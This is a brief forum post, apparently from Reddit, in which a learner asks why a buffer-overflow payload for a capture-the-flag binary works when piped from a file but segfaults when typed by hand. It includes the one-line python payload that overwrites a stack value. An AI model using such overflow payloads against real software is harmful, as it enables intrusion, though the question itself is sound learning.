Question about binary exploitation
Quick question, why does this work here. console python2 -c 'print 60 * "A" + "\xfa\xaf\xad\x0b"' > payload
console ./ctf < payload Your password: FLAG{xxxx.xxxx}
But when I write it out, it no longer works? console ./ctf Your password: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\xfa\xaf\xad\x0b Segmentation fault (core dumped)
submitted by /u/triggeredStar
[link] [comments]